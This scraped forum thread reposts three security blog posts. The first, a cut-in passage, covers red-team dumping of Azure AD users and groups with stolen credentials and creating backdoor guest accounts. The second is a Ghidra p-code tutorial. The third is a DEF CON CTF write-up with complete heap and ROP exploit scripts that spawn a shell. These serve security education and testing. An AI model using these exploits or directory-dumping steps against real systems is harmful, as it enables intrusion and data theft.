but I think that routes through Exchange online in a Microsoft multi-tenant environment anyhow, so you could technically be using both but paying for one. Since you paid for Office 365 Business, you were also provided a number of services like Skype and OneDrive despite using GDrive or Box for corporate file sharing. You enroll in a multi-factor solution with SMS tokens being the default delivery mechanism but for some reason your users can still authenticate with Outlook without needing MFA… weird.. (Major thanks to Microsoft EWS) Overall, everything just works and for that we have to thank Azure AD Connect.. or is it Azure AD Synchronization Services.. or are we still running old school DirSync with Forefront Identity Manager? Whatever it is, it’s working and that’s all that matters! So.. What’s the Big Deal? A number of problems are created in the situation just illustrated and there is very little a blue team can do to defend or respond to a number of different attacks ranging from dumping active directory remotely to bypassing and even hijacking multi-factor authentication for users. Understanding who is who within an organizational department is typically done in the reconnaissance phase of an engagement through third-party services like LinkedIn or other OSINT techniques. If you are on the internal network then revisiting this step is crucial because you need to understand deeper details of the organization like what groups are configured and who are the members of those groups. This is vital in being able to successfully pivot to relevant machines and targeting users based on their access so that escalation can be accomplished. But what if you aren’t on the internal network but still need to determine who to target? Even better, what if the target gems of the organization are hosted in the cloud and you never actually have to hit the internal network? With Microsoft, if you are using any cloud services (Office 365, Exchange Online, etc) with Active Directory (on-prem or in Azure) then an attacker is one credential away from being able to leak your entire Active Directory structure thanks to Azure AD. Step 1) Authenticate to your webmail portal (i.e. https://webmail.domain.com/) Step 2) Change your browser URL to: https://azure.microsoft.com/ Step 3) Pick the account from the active sessions Step 4) Select Azure Active Directory and enjoy! This creates a number of bad situations. For instance, if we were able to export all the users and groups we would have a very nice list of employees and the groups they are a part of. We can also learn what group we need to land in for VPN, domain administration, database access, cloud servers, or financial data. What’s also nice about Azure AD is that it holds the device information for each user so we can see if they are using a Mac, Windows machine, or iPhone along with the version information (i.e. Windows 10.0.16299.0). As if all this wasn’t great already, we can also learn about all the business applications with their endpoints, service principal names, other domain names, and even the virtual resources (i.e. virtual machines, networks, databases) that a user might have access to. But Wait, There’s More! An added benefit to authenticating to the Azure portal as a regular user is that you can create a backdoor… err… I mean a “Guest” account. How super convenient! Step 1) Click “Azure Active Directory” Step 2) Click “Users” under the Manage section Step 3) Click “New Guest User” and invite yourself Depending on their configuration, it may or may not sync back to the internal network. In fact, while creating guest accounts is on by default — I’ve only verified one customer where Azure AD Connect was a bi-directional sync allowing guest accounts to authenticate, enroll a multi-factor device and VPN internally. This is an important configuration component for you to understand since it can create a bad day. Azure for Red Teams Accessing the Azure portal through the web browser is great and has many awesome advantages but I have yet to find a way to export the information directly. I started to write a tool that would authenticate and do it in an automated fashion but it felt cumbersome and I knew with all of these awesome technologies tied together that Microsoft has solved this problem for me. There were a number of solutions I came across, some of them are: Azure CLI (AZ CLI) Being a Linux user, I naturally gravitated towards AZ CLI. Partially because I pipe as much data into one-liners as possible and partially because I over-engineer tools in .NET. Using AZ CLI is a quick and easy way to authenticate against the OAUTH for Azure while also quickly exporting the raw data. In this post, we will focus on this solution. Azure Powershell With a rise in awesome Powershell tools like Powershell Empire and MailSniper, I’m amazed that Azure Powershell hasn’t made its way into one of these tools. There are a massive number of Active Directory Cmdlets to interact with. To get started, simply install Azure RM Powershell then run: Connect-AzureRmAccount Azure .NET I am one of those weird nerds who grew up on Linux but wrote C# for a significant portion of my career. Because of this, having an Azure .NET library to interact with Active Directory is encouraging. I didn’t dig too much into these libraries but from a high-level it seems they are some sort of wrapper for the Active Directory Graph API. Let’s Dig In! As I previously mentioned, we will focus on interacting with Azure using AZ CLI. In order to get started, we have to first establish an active session with Azure. On red teams where the engagement involves an organization using Microsoft or Google services, I rarely try to go straight to a shell on the internal network. I will normally use a tool I wrote called CredSniper to phish credentials and multi-factor tokens then just authenticate as that user in pursuit of sensitive emails, files, access, information and VPN. Will that presupposition, we will assume valid credentials were already obtained somehow. Install AZ CLI You will need to add the Microsoft source to apt (assuming Linux), install the Microsoft signing key, and then install Azure CLI: AZ_REPO=$(lsb_release -cs) echo "deb [arch=amd64] https://packages.microsoft.com/repos/azure-cli/ $AZ_REPO main" | sudo tee /etc/apt/sources.list.d/azure-cli.list curl -L https://packages.microsoft.com/keys/microsoft.asc | sudo apt-key add - sudo apt-get install apt-transport-https sudo apt-get update && sudo apt-get install azure-cli Authentication via Web Session After everything is installed correctly, you will need to create a session to Azure using the credentials you already obtained. The easiest way to do that is by authenticating using ADFS or OWA in a normal browser then: az login This will generate the OAUTH tokens locally, open a browser tab to the authentication page and let you select an account based on the ones you are already authenticated with. Once you select the account, the local OAUTH tokens will be validated by the server and you won’t have to do that again unless they expire or get destroyed. You can also pass the –use-device-code flag which will generate a token you provide to https://microsoft.com/devicelogin. Dumping Users Now on to my favorite part! There have been numerous techniques for extracting the GAL previously researched, such as using the FindPeople and GetPeopleFilter web service methods in OWA. These techniques have been an excellent resource for red teamers but they definitely have their limitations on what data is available, how long it takes to enumerate users, how loud it is due to the number of web requests required, and how it occasionally breaks. With AZ CLI, it’s super easy to extract all the directory information for each user. In the examples below, I apply a JMESPath filter to extract the data I care about. I can also export as a table, JSON, or in TSV format! All Users az ad user list --output=table --query='[].{Created:createdDateTime,UPN:userPrincipalName,Name:displayName,Title:jobTitle,Department:department,Email:mail,UserId:mailNickname,Phone:telephoneNumber,Mobile:mobile,Enabled:accountEnabled}' Specific User If you know the UPN of the target account, you can retrieve specific accounts by passing in the —upn flag. This is convenient if you are wanting to dig into the Active Directory information for a particular account. In the example below, you will notice I supplied the JSON format instead of the table output. az ad user list --output=json --query='[].{Created:createdDateTime,UPN:userPrincipalName,Name:displayName,Title:jobTitle,Department:department,Email:mail,UserId:mailNickname,Phone:telephoneNumber,Mobile:mobile,Enabled:accountEnabled}' --upn='<upn>' Dumping Groups My next favorite function is the ability to dump groups. Understanding how groups are used within an organization can provide specific insight into the areas of the business, the users, and who the admins are. AZ CLI provides a few useful commands that can assist here. All Groups The first thing I usually do is just export all the groups. Then I can grep around for certain keywords: Admin, VPN, Finance, Amazon, Azure, Oracle, VDI, Developer, etc. While there is other group metadata available, I tend to just grab the name and description. az ad group list --output=json --query='[].{Group:displayName,Description:description}' Specific Group Members Once you have reviewed the groups and cherry-picked the interesting ones, next it’s useful to dump the group members. This will give you an excellent list of targets that are a part of the interesting groups — prime targets for spear phishing! Against popular opinion, I have personally found that the technical ability and title do not lower the likelihood an intended target is more likely to avoid handing over their credentials (and even MFA token). In other words, everyone is susceptible so I usually target back-end engineers and devops teams because they tend to have the most access plus I can usually remain external to the network yet still access private GitHub/GitLab code repositories for creds, Jenkins build servers for shells, OneDrive/GDrive file shares for sensitive data, Slack teams for sensitive files and a range of other third-party services. Once again, why go internal if you don’t have to. az ad group member list --output=json --query='[].{Created:createdDateTime,UPN:userPrincipalName,Name:displayName,Title:jobTitle,Department:department,Email:mail,UserId:mailNickname,Phone:telephoneNumber,Mobile:mobile,Enabled:accountEnabled}' --group='<group name>' Dumping Applications & Service Principals Another nice feature Microsoft provides is the ability to register applications that use SSO/ADFS or integrate with other technologies. A lot of companies utilize this for internal applications. The reason this is nice for red teamers is because the metadata associated with the applications can provide deeper insight into attack surfaces that may have not been discovered during reconnaissance, like URLs. All Applications az ad app list --output=table --query='[].{Name:displayName,URL:homepage}' Specific Application In the below screenshot, you see we obtained the URL for the Splunk instance by examining the metadata associated with the registered application in Azure. az ad app list --output=json --identifier-uri='<uri>' All Service Principals az ad sp list --output=table --query='[].{Name:displayName,Enabled:accountEnabled,URL:homepage,Publisher:publisherName,MetadataURL:samlMetadataUrl}' Specific Service Principal az ad sp list --output=table --display-name='<display name>' Advanced Filtering with JMESPath You might have noticed in the above examples that I try to limit the amount of data that is returned. This is mainly because I try to snag what I need instead of everything. The way AZ CLI handles this is by using the –query flag with a JMESPath query. This is a standard query language for interacting with JSON. I did notice a few bugs with AZ CLI when combining the query flag with the ‘show’ built-in functions. The other thing to note is that the default response format is JSON which means if you plan on using a query filter you need to specify the correct case-sensitive naming conventions. There was a bit of inconsistency between the names for the different formats. If you used the table format, it might capitalize when JSON had lowercase. Disable Access to Azure Portal I spent a bit of time trying to make sense of what to disable, how to prevent access, how to limit, what to monitor, and even reached out to people on Twitter (thanks Josh Rickard!). I appreciate all the people who reached out to help make sense of this madness. I suppose I should learn the Microsoft ecosystem more, in hopes of offering better suggestions. Until then, I offer you a way to disable the Azure Portal access to users. I haven’t tested this and can’t be sure if this includes AZ CLI, Azure RM Powershell, and the Microsoft Graph API but it’s definitely a start. Step 1) Log in to Azure using a Global Administrator account https://portal.azure.com Step 2) On the left panel, choose ‘Azure Active Directory’ Step 3) Select ‘Users Settings’ Step 4) Select ‘Restrict access to Azure AD administration portal’ An alternative is to look into Conditional Access Policies: https://docs.microsoft.com/en-us/azure/active-directory/conditional-access/overview Coming Soon! There are a number of different tools out there for testing AWS environments and even new tools that have come out recently for capturing cloud credentials like SharpCloud. Cloud environments seem to be a commonly overlooked attack surface. I will be releasing a (currently private) red team framework for interacting with cloud environments, called CloudBurst. It’s a plugginable framework that gives users the ability to interact with different cloud providers to capture, compromise, and exfil data. Join the BHIS Blog Mailing List – get notified when we post new blogs, webcasts, and podcasts. Join 1,110 other subscribers Sursa: https://www.blackhillsinfosec.com/red-teaming-microsoft-part-1-active-directory-leaks-via-azure/
  16. Working With Ghidra's P-Code To Identify Vulnerable Function Calls By Alexei Bulazel | May 11, 2019 This year at INFILTRATE 2019, I got together with fellow RPISEC alumnus and Boston Cybernetics Institute co-founder Jeremy Blackthorne to present “Three Heads Are Better Than One: Mastering NSA’s Ghidra Reverse Engineering Tool”. Around 50 minutes into that presentation, I presented a demo of a proof of concept script I built to trace out how inputs to malloc are derived. In this blog post, we’ll take a deeper look at that script. For those unfamiliar with the tool, Ghidra is an interactive reverse engineering tool developed by the US National Security Agency, comparable in functionality to tools such as Binary Ninja and IDA Pro. After years of development internally at NSA, Ghidra was released open source to the public in March 2019 at RSA. My script leverages Ghidra’s “p-code” intermediate representation to trace inputs to the malloc through functions and interprocedural calls. Calls to malloc are of obvious interest to vulnerability researchers looking for bugs in binary software - if a user-controlled input can somehow effect the size of parameter passed to the function, it may be possible for the user to pass in a argument triggering integer overflow during the calculation of allocation size, leading to memory corruption. If you want to follow along with the code, I’ve published it on GitHub. See discussion later in “Running The Script” for instructions on how to run it with your local copy of Ghidra. Inspiration The inspiration this demo came from watching Sophia d’Antoine, Peter LaFosse, and Rusty Wagner’s “Be A Binary Rockstar” at INFILTRATE 2017, a presentation on Binary Ninja. During that presentation, fellow River Loop Security team member Sophia d’Antoine demonstrated a script to find calls to memcpy with unsafe arguments, leveraging Binary Ninja’s intermediate language representations of assembly code. I figured I would create a Ghidra script to do similar, but when I found that it wouldn’t be as simple as just calling a function like get_parameter_at, I began digging into to Ghidra’s code and plugin examples published by NSA with Ghidra. I ended up with the proof of concept script discussed in this post. While this script might not be ready for real world 0day discovery, it should give you a sense of working with Ghidra’s scripting APIs, p-code intermediate representation, and built-in support for program analysis. P-Code P-code is Ghidra’s intermediate representation / intermediate language (IR/IL) for assembly language instructions. Ghidra “lifts” assembly instructions of various disparate architectures into p-code, allowing reverse engineers to more easily develop automated analyses that work with assembly code. P-code abstracts away the complexities of working with various CPU architectures - x86’s plethora of instructions and prefixes, MIPS’ delay slots, ARM’s conditional instructions, etc, and presents reverse engineers with a common, simplified instruction set to work with. P-code lifting is a one-to-many translation, a single assembly instruction may be lifted into one or more p-code instruction. For a simple example, see how an x86 MOV instruction translates into a single COPY p-code operation MOV RAX,RSI RAX = COPY RSI In a more complex case, a SHR instruction expands out into 30 p-code operations. Note how calculations for x86 flags (CF, OF, SF, and ZF) are made explicit. SHR RAX,0x3f $Ub7c0:4 = INT_AND 63:4, 63:4 $Ub7d0:8 = COPY RAX RAX = INT_RIGHT RAX, $Ub7c0 $U33e0:1 = INT_NOTEQUAL $Ub7c0, 0:4 $U33f0:4 = INT_SUB $Ub7c0, 1:4 $U3400:8 = INT_RIGHT $Ub7d0, $U33f0 $U3410:8 = INT_AND $U3400, 1:8 $U3430:1 = INT_NOTEQUAL $U3410, 0:8 $U3440:1 = BOOL_NEGATE $U33e0 $U3450:1 = INT_AND $U3440, CF $U3460:1 = INT_AND $U33e0, $U3430 CF = INT_OR $U3450, $U3460 $U3490:1 = INT_EQUAL $Ub7c0, 1:4 $U34b0:1 = INT_SLESS $Ub7d0, 0:8 $U34c0:1 = BOOL_NEGATE $U3490 $U34d0:1 = INT_AND $U34c0, OF $U34e0:1 = INT_AND $U3490, $U34b0 OF = INT_OR $U34d0, $U34e0 $U2e00:1 = INT_NOTEQUAL $Ub7c0, 0:4 $U2e20:1 = INT_SLESS RAX, 0:8 $U2e30:1 = BOOL_NEGATE $U2e00 $U2e40:1 = INT_AND $U2e30, SF $U2e50:1 = INT_AND $U2e00, $U2e20 SF = INT_OR $U2e40, $U2e50 $U2e80:1 = INT_EQUAL RAX, 0:8 $U2e90:1 = BOOL_NEGATE $U2e00 $U2ea0:1 = INT_AND $U2e90, ZF $U2eb0:1 = INT_AND $U2e00, $U2e80 ZF = INT_OR $U2ea0, $U2eb0 P-code itself is generated with SLEIGH, a processor specification language for Ghidra which provides the tool with both disassembly information (e.g., the sequence of bytes 89 d8 means MOV EAX, EBX), and semantic information (MOV EAX, EBX has the p-code semantics EAX = COPY EBX). After lifting up to raw p-code (i.e., the direct translation to p-code), additionally follow-on analysis may enhance the p-code, transforming it by adding additional metadata to instructions (e.g., the CALL p-code operation only has a call target address in raw p-code form, but may gain parameters associated with the function call after analysis), and adding additional analysis-derived instructions not present in raw p-code, such as MULTIEQUAL, representing a phi-node (more on that later), or PTRSUB, for pointer arithmetic producing a pointer to a subcomponent of a data type. During analysis the code is also lifted code into single static assignment (SSA) form, a representation wherein each variable is only assigned a value once. P-code operates over varnodes - quoting from the Ghidra documentation: “A varnode is a generalization of either a register or a memory location. It is represented by the formal triple: an address space, an offset into the space, and a size. Intuitively, a varnode is a contiguous sequence of bytes in some address space that can be treated as a single value. All manipulation of data by p-code operations occurs on varnodes.” For readers interested in learning more, Ghidra ships with p-code documentation at docs/languages/html/pcoderef.html. Additionally, someone has posted the Ghidra decompiler Doxygen docs (included in the decompiler’s source) at https://ghidra-decompiler-docs.netlify.com/index.html. This Script This script identifies inputs to malloc() by tracing backwards from the variable given to the function in order to figure out how that variable obtains its value, terminating in either a constant value or an external function call. Along the way, each function call that the value passes through is logged - either where it is returned by a function, or passed as an incoming parameter to a function call. The specific operations along the way that can constrain (e.g., checking equality or comparisons) or modify (e.g., arithmetic or bitwise operations) the values are not logged or processed currently for this proof of concept. Calls to malloc can go badly in a variety of ways, for example, if an allocation size of zero is passed in, or if an integer overflow occurs on the way to calculating the number of bytes to allocate. In general, we can expect that the chances of one of these types of bugs occuring is more likely if user input is able to somehow effect the value passed to malloc, e.g., if the user is able to specify a number of elements to allocate, and then that value is multiplied by sizeof(element), there may be a chance of an integer overflow. If this script is able to determine that user input taken a few function calls before a call to malloc ends up passed to the function call, this code path may be worth auditing by a human vulnerability researcher. Understanding where allocations of static, non-user controlled sizes are used is also interesting, as exploit developers looking to turn discovered heap vulnerabilities into exploits may need to manipulate heap layout with “heap grooms” relying on specific patterns of controlled allocations and deallocations. Note that while I’ve chosen to build this script around analysis of malloc, as it is a simple function that just takes a single integer argument, the same sort of analysis could be very easily adapted to look for other vulnerable function call patterns, such as memcpy with user controlled lengths or buffers on the stack, or system or exec-family functions ingesting user input Running The Script I’ve published the script, a test binary and its source code, and the output I receive when running the script over the binary on GitHub. You can run the script by putting it in your Ghidra scripts directory (default $USER_HOME/ghidra_scripts), opening Ghidra’s Script Manager window, and then looking for it in a folder labeled “INFILTRATE”. The green arrow “Run Script” button at the top of the Script Manager window will then run the script, with output printed to the console. I’d also add that because the script simply prints output to the console, it can be run with Ghidra’s command line “headless mode” as well, to print its output to your command line terminal. Algorithm The script begins by looking for every function that references malloc. Then, for each of these function, we look for each CALL p-code operation targeting malloc inside that function. Analysis then begins, looking at sole parameter to malloc (size_t size). This parameter is a varnode, a generalized representation of a value in the program. After Ghidra’s data-flow analysis has run, we can use varnode’s getDef() method to retrieve the p-code operation which defines it - e.g., for statement a = b + c, if we asked for the operation defining a, we’d get b + c. From here, we can recursively trace backwards, asking what operations define varnodes b and c in that p-code expression, then what operations define their parents, and so on. Eventually, we might arrive on the discovery that one of these parents is a constant value, that a value is derived from a function call, or that a value comes from a parameter to the function. In the case that analysis determines that a constant is the ultimate origin value behind the value passed in to malloc, we can simply save the constant and terminate analysis of the particular code path under examination. Otherwise, we have to trace into called functions, and consider possible callsites for functions that call the current function under analysis. Along the way, for each function we traverse in a path to a terminal constant value or external function (where we cannot go any further), we save a node in our path to be printed out to the user at the end. Analyzing Inside Function Calls The value passed to malloc may ultimately derive from a function call, e.g.: int x = getNumber(); malloc(x+5); In this case, we would analyze getNumber, finding each RETURN p-code operation in the function, and analyzing the “input1” varnode associated with it, which represents the value the function returns (on x86, this would be the value in EAX at time of function return). Note that similar to the association of function parameters with CALL p-code operations, return values are only associated with RETURN p-code operations after analysis, and are not present in raw p-code. For example: int getNumber(){ int number = atoi("8"); number = number + 10; return number; } In the above code snippet, our analysis would trace backwards from return, to addition, and finally to a call to atoi, so we could add atoi as a node in path determining the source of input to malloc. This analysis may be applied recursively until a terminating value of a constant or external function call is encountered. Phi Nodes Discussing analysis of values returned by called functions gives us a opportunity to consider “phi nodes”. In the above example, there’s only a single path for how number can be defined, first atoi, then + 10. But what if instead, we had: int getNumber(){ int number; if (rand() > 100){ number = 10; } else { number = 20; } return number; } Now, it’s not so clear what number’s definition is at time of function return - it could be 10 or 20. A “phi node” can be used to represent the point in the program at which, going forward, number will possess either value 10 or 20. Ghidra’s own analysis will insert a MULTIEQUAL operation (not present in the raw p-code) at the point where number is used, but could have either value 10 or 20 (you can imagine this operation as happening in between the closing brace of the else statement and before return). The MULTIEQUAL operation tells us that going forward, number can have one value out of a range of possible values defined in previous basic blocks (the if and else paths). Representing the function in single static assignment form, it can be better understood as: int getNumber(){ if (rand() > 100){ number1 = 10; } else { number2 = 20; } number3 = MULTIEQUAL(number1, number2); return number3; } number1 and number2 represent SSA instantiations of number, and we’ve inserted MULTIEQUAL operation before the return, indicating that the return value (number3) will be one of these prior two values. MULTIEQUAL is not constrained to only taking two values, for example, if we had five values which number could take before return, we could have number6 = MULTIEQUAL(number1, number2, number3, number4, number5);. We can handle MULTIEQUAL p-code operations by noting that the next node we append to our path will be a phi input, and should be marked accordingly. When we print out paths at the end, inputs to the same phi will be marked accordingly so that end users know that each value is a possible input to the phi. Analyzing Parent Calls In addition to analyzing functions called by our current function, our analysis must consider functions calling our current function, as values passed to malloc could be dependent on parameters to our function. For example: void doMalloc(int int1, int size){ ... malloc(size); } ... doMalloc(8, 5); ... doMalloc(10, 7); In cases like these, we will search for each location in the binary where our current function (doMalloc) is called, and analyze the parameter passed to the function which effects the value passed to our target function. In the above case, analysis would return that 5 and 7 are both possible values for size in a call to doMalloc. As our analysis simply considers each site in the binary where the current function we are analyzing is called, it can make mistakes in analysis, because it is not “context sensitive”. Analysis does not consider the specific context in which functions are called, which can lead to inaccuracies in cases that seem obvious. For example, if we have a function: int returnArg0(int arg0){ return arg0; } And this function is called in several places: int x = returnArg0(9); int y = returnArg0(7); printf("%d", returnArg0(8)); malloc(returnArg0(11)); While to us it’s very obvious that the call to malloc will receive argument 11, our context-insensitive analysis considers every site in the program in which returnArg0 is called, so it will return 9, 7, 8, and 11 all as possible values for the value at this call to malloc As with analysis of called functions, analysis of calling functions may be applied recursively. Further, these analyses may be interwoven with one another, if for example, a function is invoked with parameter derived from a call into another function. Ghidra Resources I found Ghidra’s included plugins ShowConstantUse.java and WindowsResourceReference.java very helpful when working with p-code and the Ghidra decompiler. I borrowed some code from these scripts when building this script, and consulted them extensively. Output The data we’re dealing with is probably best visualized with a graph of connected nodes. Unfortunately, the publicly released version of Ghidra does not currently have the necessary external “GraphService” needed to work with graphs, as can be observed by running Ghidra’s included scripts GraphAST.java, GraphASTAndFlow.java, and GraphSelectedAST.java (a popup alert informs the user “GraphService not found: Please add a graph service provider to your tool”). Without a graph provider, I resorted to using ASCII depictions of flow to our “sink” function of malloc. Each line of output represents a node on the way to malloc. A series of lines before the node’s value represents how it is derived, with - representing a value coming from within a function (either because it returns a constant or calls an external function), + representing a value coming from a function parameter, and Ø being printed when a series of nodes are inputs to a phi-node. ? is used to denote a called “child” function call, P: for a calling “parent”, and CONST: for a terminal constant value. For example: int return3(){ return 3; } ... malloc(return3()); ... Here, we have a call into return3 denoted by -, and then inside of that function, a terminal constant value of 3. SINK: call to malloc in analyzefun @ 0x4008f6 -C: return3 --CONST: 3 (0x3) In a more complex case: int returnmynumberplus5(int x){ return x+5; } ... malloc(returnmynumberplus5(10) | 7); ... SINK: call to malloc in analyzefun @ 0x40091a -C: returnmynumberplus5 -+P: call analyzefun -> returnmynumberplus5 @ 0x40090d - param #0 -+-CONST: 10 (0xA) Here we have a call into returnmynumberplus5 denoted with -, then -+ denoting that the return value for returnmynumberplus5 is derived from a parameter passed to it by a calling “parent” function, and then finally -+- for the final constant value of 10 which was determined to be the ultimate terminating constant in this flow to the sink function. This is somewhat a contrived example, as the script considers all possible callsites for returnmynumberplus5, and would in fact list constants (or other values) passed to the function throughout the entire program, if there were other sites where it was invoked - an example of the script not being context sensitive. Finally, lets take a look at a case where a phi node is involved: int phidemo(){ int x = 0; if (rand() > 100){ x = 100; } else if (rand() > 200){ x = 700; } return x; } ... malloc(phidemo()); ... SINK: call to malloc in analyzefun @ 0x4008b0 -C: phidemo --ØCONST: 100 (0x64) --ØCONST: 0 (0x0) --ØCONST: 700 (0x2bc) In this case, we see that the call to malloc is the result of a call to phidemo. At the next level deeper, we print - followed by Ø, indicating the three constant values displayed are all phi node inputs, with only one used in returning from phidemo. Limitations and Future Work After all that discussion of what this script can do, we should address the various things that it cannot. This proof of concept script has a number of limitations, including: Transfers of control flow between functions not based on CALL p-code ops with explicitly resolved targets. This includes use of direct jumps to other functions, transfer through function pointers, or C++ vtables Handling pointers Recursive functions Programs using p-code operations that we do not support Context sensitive analysis and more… That said, implementing support for these other constructions should be possible and fairly easy. Beyond growing out more robust support for various program constructions, there are many of other directions this code could be taken in: Adding support for actually logging all operations along the way, e.g, letting the user know that the value parsed by atoi() is then multiplied by 8, and compared against 0x100, and then 2 is added - for example. Integrating an SMT solver to allow for more complex analyses of possible values Adding context sensitivity Modeling process address space Conclusion I hope this blog post has been insightful in elucidating how Ghidra’s powerful scripting API, intermediate representation, and built-in data flow analysis can be leveraged together for program analysis. With this script, I’ve only scratched the surface of what is possible with Ghidra, I hope we’ll see more public research on what the tool can do. I know this script isn’t perfect, please do reach out if you find it useful or have suggestions for improvement. If you have questions about your reverse engineering and security analysis, consider contacting our team of experienced security experts to learn more about what you can do. If you have questions or comments about Ghidra, p-code, training, or otherwise want to get in touch, you can email re-training@riverloopsecurity.com, or contact me directly via open DMs on Twitter at https://twitter.com/0xAlexei. Acknowledgements Thank you to Jeremy Blackthorne, my collaborator in presenting on Ghidra - later this summer at REcon Montreal, Jeremy and I will be teaching a four day training on binary exploitation, where we’ll use Ghidra, sign up at: https://recon.cx/2019/montreal/training/trainingmodern.html. Jeremy will also be teaching his own training on Ghidra in August at Ringzer0: https://ringzer0.training/reverse-engineering-with-ghidra.html, and you can find information about his company Boston Cybernetics Insitute’s other training offerings at https://www.bostoncyber.org/ Rolf Rolles’ insights into program analysis, p-code, and Ghidra’s scripting interface were invaluable in working on this project. Thank you to the Vector 35 Binary Ninja crew for also elucidating some program analysis concepts during their excellent Binary Ninja training at INFILTRATE 2019 - also thanks to Sophia d’Antoine for her 2017 Binary Ninja memcpy example script. Dr. Brendan Dolan-Gavitt shared some program analysis insights as well. Finally, thank you to all of the developers at NSA who actually created Ghidra. All of this work would not be possible without their creation of the tool. The example plugins published with Ghidra were also invaluable in understanding how to work with p-code. Sursa: https://www.riverloopsecurity.com/blog/2019/05/pcode/
  17. DEF CON CTF 2019 Qualifier Writeup DEF CON CTF 2019 Qualfier had been held this weekend and I played this CTF with team dcua. We got 1347 in total and reached the 35th place. I enjoyed it but I'm not convinced the scoring system of speedrun challs. Anyway, the quality of the challenges I solved were pretty good. Thank you @oooverflow for holding such a big competition. [Pwn 112pts] babyheap [Pwn 5pts] speedrun-001 [Pwn 5pts] speedrun-002 [Pwn 5pts] speedrun-003 [Pwn 5pts] speedrun-009 [Pwn 5pts] speedrun-010 [Pwn 112pts] babyheap We are given a 64-bit ELF binary and the libc binary. We can malloc / free / show maximum 10 chunks and there's no double free and can specify the data size between 1 to 0x178. However, it allocates 0xf8 bytes if the data size is less than or equals to 0xf8, otherwise 0x178 bytes. First of all, let's leak the libc address. I consumed all the tcache and got the libc address by leaking the unsorted bin address linked to the fastbin chunks. (Also I leaked the heap address but I didn't use it.) The goal is to write the one gadget address to __free_hook or __malloc_hook as RELRO is fully enable. The program has a off-by-one vulnerability and we can overwrite one byte in the data. So, we can change the least byte of the size info of the next chunk if we set the data size to 0xf8. It seems coalescing chunks by overlapping is enough, but there are 2 problems: It quits reading our input when a NULL byte or a newline is given. It clears the data region with 0 whenever we free the chunk. After some trials I found a way to overcome them. The size of the region to be cleared when freed depends on our input. And we have an off-by-one vulnerability. These means that we can write byte by byte and keep it on the memory without being erased. In this way we can just write the address of __mallo_hook into the freed chunk and link it to the tcache. This is the final exploit (__free_hook+__libc_system / __free_hook+one gadget didn't work because of the memory layout): from ptrlib import * def malloc(data, size): sock.recvuntil('Command:\n> ') sock.sendline('M') sock.recvuntil('>') sock.sendline(str(size)) sock.recvuntil('>') sock.sendline(data) def malloc2(data, size): #assert data[-1] == 0 sock.recvuntil('Command:\n> ') sock.sendline('M') sock.recvuntil('>') sock.sendline(str(size)) sock.recvuntil('>') sock.send(data) def free(index): sock.recvuntil('Command:\n> ') sock.sendline('F') sock.recvuntil('>') sock.sendline(str(index)) def show(index): sock.recvuntil('Command:\n> ') sock.sendline('S') sock.recvuntil('> ') sock.sendline(str(index)) return sock.recvline().rstrip() #""" libc = ELF("libc.so") main_arena = 0x1e4c40 delta = 592 one_gadget = 0x106ef8 sock = Socket("babyheap.quals2019.oooverflow.io", 5000) #""" """ libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so") main_arena = 0x3ebc40 delta = 592 one_gadget = 0x10a38c #sock = Socket("127.0.0.1", 5000) sock = Process(["stdbuf", "-o0", "./babyheap"]) #""" # leak libc base and heap address for i in range(9): malloc('A' * 8, 8) for i in reversed(range(9)): free(i) for i in range(9): if i == 5: malloc('', 8) else: malloc('A' * 8, 8) addr_main_arena = u64(show(7)[8:]) addr_heap = u64(show(5)) libc_base = addr_main_arena - main_arena - delta dump("libc base = " + hex(libc_base)) dump("addr heap = " + hex(addr_heap)) # clear for i in reversed(range(9)): free(i) # overlap chunk malloc('A', 0xf8) # 0 malloc('B', 0xf8) # 1 malloc('C', 0xf8) # 2 payload = b'A' * 0xf8 payload += b'\x81' free(0) malloc(payload, 0xf8) # 0 free(1) ## write __malloc_hook to 2nd chunk free(2) # craft __malloc_hook append = p64(libc_base + libc.symbol("__malloc_hook"))[:-1] for i in range(1, len(append) + 1): payload = b'A' * 0xf8 payload += p16(0x101) # size payload += b'X' * 6 payload += append[:-i] print(payload[0xf8:]) malloc(payload, len(payload) - 1) free(1) # nullify size malloc(b'A' * 0xff, 0x100) free(1) # fix size payload = b'A' * 0xf8 payload += p16(0x101) payload += b'\x00' malloc2(payload, len(payload)) # link it malloc(b'A', 0xf8) # 2 payload = p64(libc_base + one_gadget)[:-2] #payload = p64(libc_base + libc.symbol("system"))[:-2] dump("__malloc_hook = " + hex(libc_base + libc.symbol("__malloc_hook"))) dump("one_gadget = " + hex(libc_base + one_gadget)) malloc(payload, 0xf8) # 3 == __malloc_hook # get the shell! #free(2) sock.recvuntil('Command:\n> ') sock.sendline('M') sock.sendline('7') sock.interactive() Perfect! $ python solve.py [+] Socket: Successfully connected to babyheap.quals2019.oooverflow.io:5000 [ptrlib] libc base = 0x7fbca573c000 [ptrlib] addr heap = 0x5616a35cda60 b'\x01\x01XXXXXX0\x0c\x92\xa5\xbc\x7f' b'\x01\x01XXXXXX0\x0c\x92\xa5\xbc' b'\x01\x01XXXXXX0\x0c\x92\xa5' b'\x01\x01XXXXXX0\x0c\x92' b'\x01\x01XXXXXX0\x0c' b'\x01\x01XXXXXX0' b'\x01\x01XXXXXX' [ptrlib] __malloc_hook = 0x7fbca5920c30 [ptrlib] one_gadget = 0x7fbca5842ef8 [ptrlib]$ Size: > [ptrlib]$ cat flag OOO{4_b4byh34p_h45_nOOO_n4m3} [Pwn 5pts] speedrun-001 The binary has a simple stack overflow. We can easily craft a ROP to get the shell because the binary is statically linked. from ptrlib import * elfpath = "./speedrun-001" libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so") sock = Socket("speedrun-001.quals2019.oooverflow.io", 31337) elf = ELF(elfpath) #sock = Process(elfpath) addr_read = 0x4498a0 bss = 0x6b6000 rop_pop_rdi = 0x00400686 rop_pop_rsi = 0x004101f3 rop_pop_rax = 0x00415664 rop_pop_rdx = 0x004498b5 rop_syscall = 0x0040129c payload = b'A' * 0x408 payload += p64(rop_pop_rdi) payload += p64(0) payload += p64(rop_pop_rsi) payload += p64(bss) payload += p64(rop_pop_rdx) payload += p64(8) payload += p64(addr_read) payload += p64(rop_pop_rdi) payload += p64(bss) payload += p64(rop_pop_rsi) payload += p64(0) payload += p64(rop_pop_rdx) payload += p64(0) payload += p64(rop_pop_rax) payload += p64(59) payload += p64(rop_syscall) sock.sendline(payload) from time import sleep sleep(1) sock.send("/bin/sh") sock.interactive() $ python solve.py [+] Socket: Successfully connected to speedrun-001.quals2019.oooverflow.io:31337 [ptrlib]$ Hello brave new challenger Any last words? This will be the last thing that you say: 